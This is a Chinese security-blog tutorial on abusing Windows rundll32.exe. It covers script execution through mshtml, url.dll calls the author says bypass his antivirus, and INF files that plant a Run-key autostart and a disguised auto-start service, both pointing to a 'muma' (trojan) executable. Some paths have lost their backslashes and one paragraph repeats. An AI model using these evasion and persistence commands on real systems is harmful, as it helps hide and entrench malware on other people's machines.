命令行下的「蒙面歌王」rundll32.exe
*本文原創作者:lcx,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
**
在Windows系統中,為了節省內存和實現代碼重用,微軟在Windows操作系統中實現了一種共享函數庫的方式。這就是DLL(Dynamic Link Library)文件,即動態鏈接庫,這種庫包含了可由多個程序同時使用的代碼和數據。Rundll.exe 和 Rundll32.exe 的命令行實用程序,通過這兩個程序可調用從16位或32位DLL導出的函數。現在Rundll.exe 基本被淘汰,rundll32.exe格式為:RUNDLL32.EXE
一、用C++如何寫一個簡單的被Rundll32.exe調用的dll
我用Visual studio 2017寫了一個簡單的代碼,內容如下:
// Dll3.cpp: 定義 DLL 應用程序的導出函數。
//
#include "stdafx.h"
#include <atlstr.h>
extern "C" __declspec(dllexport)
void F2(
HWND hwnd, // handle to owner window
HINSTANCE hinst, // instance handle for the DLL
LPTSTR lpCmdLine, // string the DLL will parse
int nCmdShow // show state
)
{
if (strlen(lpCmdLine) != 0)
{
CString num;
num = lpCmdLine;
MessageBox(0, "Message body", num ,MB_OK);
}
else
{
MessageBox(0, "Message body", "Message title", MB_OK);
}
}
全部工程文件我已經傳到了https://haiyangtop.cn/dll3.rar。我們在命令行下運行rundll32 dll3.dll ,F2 888,那麼就會彈出標題為888的對話框。全部工程文件我已經傳到了https://haiyangtop.cn/dll3.rar。我們在命令行下運行rundll32 dll3.dll ,F2 888,那麼就會彈出標題為888的對話框。
二、用Rundll32.exe運行js或vbs的腳本代碼
rundll32 javascript:"..mshtml,RunHTMLApplication ";window.execScript("msgbox("a")","vbs");window.close()
動畫里這條命令爛大街了,已經繞不過我本機的火絨了。
三、用Rundll32.exe執行命令繞過殺毒軟體的作法
命令如下:
rundll32 url.dll, OpenURL file://c:windowssystem32calc.exerundll32 url.dll, OpenURLA file://c:windowssystem32calc.exerundll32 url.dll, FileProtocolHandler calc.exe
這是經過反彙編分析url.dll得出的結果,請記住這3條命令,活學活用,這是乾貨。上邊的三條命令都可以繞開我本機的火絨。你可以多分析system32下的dll,說不定你還有驚喜。
四、用Rundll32.exe修改註冊表
寫一個c:/reg.inf文件,增加註冊表啟動項,代碼如下:
[Version]Signature="$WINDOWS NT$"[DefaultInstall]AddReg=My_AddReg_NameDelReg=My_DelReg_Name[My_AddReg_Name]HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun,0x00000000,c:/muma.exe
然後我們運行
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
就可以增加一個鍵為KAVRun,值為c:/muma.exe的註冊表項了。
刪掉剛才加的註冊表啟動項,c:
eg.inf內容如下:
[Version]Signature="$WINDOWS NT$"[DefaultInstall]AddReg=My_AddReg_NameDelReg=My_DelReg_Name[My_DelReg_Name]HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
運行以下命令
就可以刪掉了
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
幾點說明:
[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個。My_AddReg_Name和My_DelReg_Name可以自定義。
0x00010001表示REG_DWORD數據類型,0x00000000或省略該項(保留逗號)表示REG_SZ(字元串)。0x00020000表示REG_EXPAND_SZ。關於inf文件的詳細信息,可以參考DDK幫助文檔。
InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個逗號,沒有空格。128表示給定路徑,該參數其他取值及含義參見MSDN。特別注意,最後一個參數,必須是inf文件的全路徑,不要用相對路徑。
inf文件中的項目都是大小寫不敏感的。
五、使用rundll32.exe 增加一個服務
寫一個srv.inf,內容如下:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供對 Internet 信息服務管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%muma.exe
然後執行命令,會增加一個名字為inetsvr的服務。
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/srv.inf
幾點說明:
ServiceType表示服務類型:0x10為獨立進程服務,0x20為共享進程服務(比如svchost);
StartType表示啟動類型:0 系統引導時載入,1 OS初始化時載入,2 由SCM(服務控制管理器)自動啟動,3 手動啟動,4 禁用。
ErrorControl表示錯誤控制:0 忽略,1 繼續並警告,2 切換到LastKnownGood的設置,3 藍屏。
ServiceBinary里的服務程序位置:%11%表示system32目錄,%10%表示系統目錄(WINNT或Windows),%12%為驅動目錄system32drivers。其他取值參見DDK。你也可以不用變數,直接使用全路徑。
這四項是必須要有的。
刪除剛才增加的服務,寫一個dsrv.inf,內容如下:
[Version] Signature="$WINDOWS NT$"[DefaultInstall.Services]DelService=inetsvr
執行完以下命令
就會刪掉了
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/dsrv.inf
INF的具體參數是請查看DDK相關資料。
六、網上老生常談的rundll32的幾十個常用快捷命令了,可能有些人並不清楚
命令列: rundll32.exe shell32.dll,Control_RunDLL
功能: 顯示控制面板
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
功能: 顯示「控制面板-輔助選項-鍵盤」選項視窗
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
功能: 顯示「控制面板-輔助選項-聲音」選項視窗
……
還有太多太多,我如果寫在文章里就全是水份了,具體其它命令請參閱:老生常談的一些命令
另:本文中的修改註冊表和增刪服務參考了zzzevazzz的《Do All in Cmd Shell (一切盡在命令行)》部分內容,表示感謝。
*本文原創作者:lcx,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
※一加海外官網疑遭入侵,用戶支付信息泄漏導致信用卡欺詐
※Linux SSH密碼暴力破解技術及攻防實戰
TAG:FreeBuf |